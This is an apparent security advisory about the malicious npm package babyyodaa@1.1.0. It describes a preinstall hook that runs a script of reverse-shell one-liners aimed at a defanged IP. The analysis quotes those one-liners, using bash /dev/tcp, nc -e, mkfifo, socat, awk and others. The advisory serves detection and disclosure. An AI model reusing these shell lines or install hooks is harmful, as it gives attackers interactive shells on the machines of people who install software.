LWA-2026-13647 confirmed malware

babyyodaa@1.1.0

Malicious code in babyyodaa (npm)

T1195.002 · Compromise Software Supply ChainT1059.004 · Unix ShellT1059.006 · PythonT1059.007 · JavaScriptT1071.001 · Web ProtocolsT1105 · Ingress Tool TransferT1041 · Exfiltration Over C2 Channel

Analysis

This package is a clone of the hello-world-npm example project with an injected reverse-shell installer. Its package.json declares "preinstall": "chmod +x rce.sh; ./rce.sh", and the shipped rce.sh contains a battery of reverse-shell one-liners, all pointing at 202[.]164[.]16[.]13 on port 443: bash "sh -i >& /dev/tcp/202[.]164[.]16[.]13/443 0>&1", an "exec 196<>/dev/tcp/..." file-descriptor variant, "nc -e /bin/sh 202[.]164[.]16[.]13 443", a mkfifo /tmp/f + nc pipe, "perl -e 'use Socket;...exec(\"/bin/sh -i\")'", two php fsockopen + exec/shell_exec variants, python pty.spawn shells, "socat TCP:202[.]164[.]16[.]13:443 EXEC:sh", a mknod+telnet shell, and an awk '/inet/tcp/0/202[.]164[.]16[.]13/443' loop. Installing the package therefore attempts to hand an interactive shell as the installing user to a remote host at install time. The tarball also ships init.sh, which runs npm init / npm version / npm publish / git push against a GitHub repository, and the only functional code (lib/index.js, bin.js) is the upstream "Hello World" example, with no relation to the install hook.

analyzed by
Leitwacht
first seen
Nov 4, 2026, 09:05 AM
analyzed
Nov 4, 2026, 09:06 AM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.